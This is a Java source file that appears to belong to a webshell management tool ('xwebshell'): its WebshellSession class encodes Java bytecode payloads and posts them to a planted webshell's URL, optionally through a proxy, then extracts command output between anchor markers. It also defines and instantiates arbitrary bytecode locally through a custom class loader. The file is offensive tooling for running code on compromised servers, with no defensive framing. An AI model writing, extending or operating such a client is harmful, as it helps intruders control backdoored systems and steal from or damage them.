package session;

import com.google.gson.Gson;
import org.apache.http.*;
import org.apache.http.client.HttpClient;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
import org.x4ut15m.xwebshell.sdk.session.ISession;
import org.x4ut15m.xwebshell.sdk.session.encoder.ICoder;
import org.x4ut15m.xwebshell.sdk.type.ShellType;
import org.x4ut15m.xwebshell.sdk.webshell.IWebshellItem;

import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class WebshellSession implements ISession {
    public String uuid;
    public HttpClient httpSession;
    public IWebshellItem webshellItem;
    private Gson gson = new Gson();
    private ICoder coder;
    private HttpPost request;
    private selfLoader loader = new selfLoader();

    public WebshellSession(IWebshellItem webshellItem) {
        this.webshellItem = webshellItem;
        if (httpSession == null) {
//            httpSession = createProxyHttpClient(webshellItem);
        }
        coder = null;
    }

    @Override
    public String getSessionId() {
        return uuid;
    }

    @Override
    public Object getHttpSession() {
        return httpSession;
    }

    @Override
    public String sendRequest(byte[] requestBody) {
        return sendRequest(requestBody, "plain");
    }

    /**
     * requestBody为待执行的字节码
     */
    @Override
    public String sendRequest(byte[] requestBody, String requestType) {
        String result = "";
        try {
            Object o = loader.defineClazz(requestBody).newInstance();
            result = o.toString();
            if (!"".equals(result) && result.contains(webshellItem.getAnchorPoint())) {
                String reg = "(.*)" + webshellItem.getAnchorPoint() + "(.*)" + webshellItem.getAnchorPoint();
                Matcher matcher = Pattern.compile(reg, Pattern.DOTALL).matcher(result);
                if (matcher.find()) {
                    result = matcher.group(2);
                    if (result.contains("\\")) {
                        result = result.replaceAll("\\\\", "/");
                    }
                }
            }
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        return result;
    }

    @Override
    public String sendRequest(HashMap<String, Object> param) {
        if (param.isEmpty() || param.get("code") == null) {
            return getErrorMsg("invalidate request param.");
        }
        if (webshellItem.getShellType().equals(ShellType.xwebshell)) {
            return sendRequest(param, "urlencode");
        } else {
            byte[] commandClassBytes = (byte[]) param.get("code");
            return sendRequest(commandClassBytes);
        }
    }

    @Override
    public String sendRequest(HashMap<String, Object> param, String requestType) {
        Object code = param.get("code");
        if (code != null && code.getClass() == byte[].class) {
            // 加密后的请求体
            String encoderBody = "";
            // 响应结果
            String result = "";
            param.put("code", new String(coder.encode((byte[]) code)));

            HttpPost httpPost = new HttpPost(webshellItem.getUrl());
            HttpResponse execute = null;
            switch (requestType) {
                case "json":
                    encoderBody = gson.toJson(param);
                    StringEntity stringEntity = new StringEntity(encoderBody, ContentType.APPLICATION_JSON);
                    httpPost.setEntity(stringEntity);
                    try {
                        execute = httpSession.execute(httpPost);
                        result = EntityUtils.toString(execute.getEntity());
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    }
                    break;
                case "xml":
                    break;

                case "urlencode":
                default:
                    List<NameValuePair> urlParameters = new ArrayList<>();
                    for (String key : param.keySet()) {
                        urlParameters.add(new BasicNameValuePair(key, (String) param.get(key)));
                    }
                    try {
                        httpPost.setEntity(new UrlEncodedFormEntity(urlParameters));
                        execute = httpSession.execute(httpPost);
                        result = EntityUtils.toString(execute.getEntity());
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    }
                    break;
            }
            if (!"".equals(result) && result.contains(webshellItem.getAnchorPoint())) {
                String reg = "(.*)" + webshellItem.getAnchorPoint() + "(.*)" + webshellItem.getAnchorPoint();
                Matcher matcher = Pattern.compile(reg, Pattern.DOTALL).matcher(result);
                if (matcher.find()) {
                    result = matcher.group(2);
                    if (result.contains("\\")) {
                        result = result.replaceAll("\\\\", "/");
                    }
                }
            }

            return result;
        }

        return "{\"status\":\"failed\"}";

    }

    @Override
    public ICoder getCoder() {
        return coder;
    }

    @Override
    public IWebshellItem getWebshellItem() {
        return null;
    }

    public HttpClient createProxyHttpClient(IWebshellItem webshellItem) {
        CloseableHttpClient build = null;
        if (webshellItem == null) {
            return null;
        }
        // 无代理
        if ("no proxy".equals(webshellItem.getProxy_type())) {
            RequestConfig requestConfig = RequestConfig.custom()
                    .setConnectTimeout(3600) // 连接超时时间，单位为毫秒
                    .setSocketTimeout(3600) // Socket超时时间，单位为毫秒
                    .build();
            build = HttpClientBuilder.create().setDefaultRequestConfig(requestConfig).build();

        } else {
            // 有代理
            String hostName = webshellItem.getProxy_host().split(":")[0];
            int port = Integer.parseInt(webshellItem.getProxy_host().split(":")[1]);
            String scheme = webshellItem.getProxy_type();

            RequestConfig requestConfig = RequestConfig.custom()
                    .setConnectTimeout(3600) // 连接超时时间，单位为毫秒
                    .setSocketTimeout(3600) // Socket超时时间，单位为毫秒
                    .setProxy(new HttpHost(hostName, port, scheme))
                    .build();
            build = HttpClientBuilder.create().setDefaultRequestConfig(requestConfig).build();
        }

        return build;
    }

    protected String getErrorMsg(String msg) {
        return String.format("{\"status\":\"failed\",\"msg\":\"%s\"}", msg);
    }

    public void buildARequest() {
        request = new HttpPost(webshellItem.getUrl());
    }

    class selfLoader extends ClassLoader {
        public Class defineClazz(byte[] bytes) {
            if (bytes != null) {
                return super.defineClass(bytes, 0, bytes.length);
            }

            return null;
        }
    }
}
